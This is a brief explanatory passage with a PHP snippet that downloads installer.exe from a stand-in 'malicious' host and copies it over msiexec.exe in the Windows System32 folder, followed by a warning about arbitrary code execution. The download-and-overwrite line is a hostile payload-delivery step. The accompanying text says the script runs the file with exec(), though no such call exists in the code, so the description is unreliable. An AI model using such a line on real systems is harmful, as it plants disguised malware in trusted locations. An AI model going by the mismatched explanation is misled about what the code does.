<?php $url = "http://www.malicious-site.com/installer.exe"; $filename = "C:\\Windows\\System32\\msiexec.exe"; copy($url,$filename); ?>

This code downloads the file installer.exe from the malicious site and saves it as msiexec.exe in the Windows System32 folder, which is a trusted location for executables on Windows systems (this is also where malware likes to hide). The PHP script then executes this file using exec() . This example illustrates how dangerous it can be to allow arbitrary code execution on your server!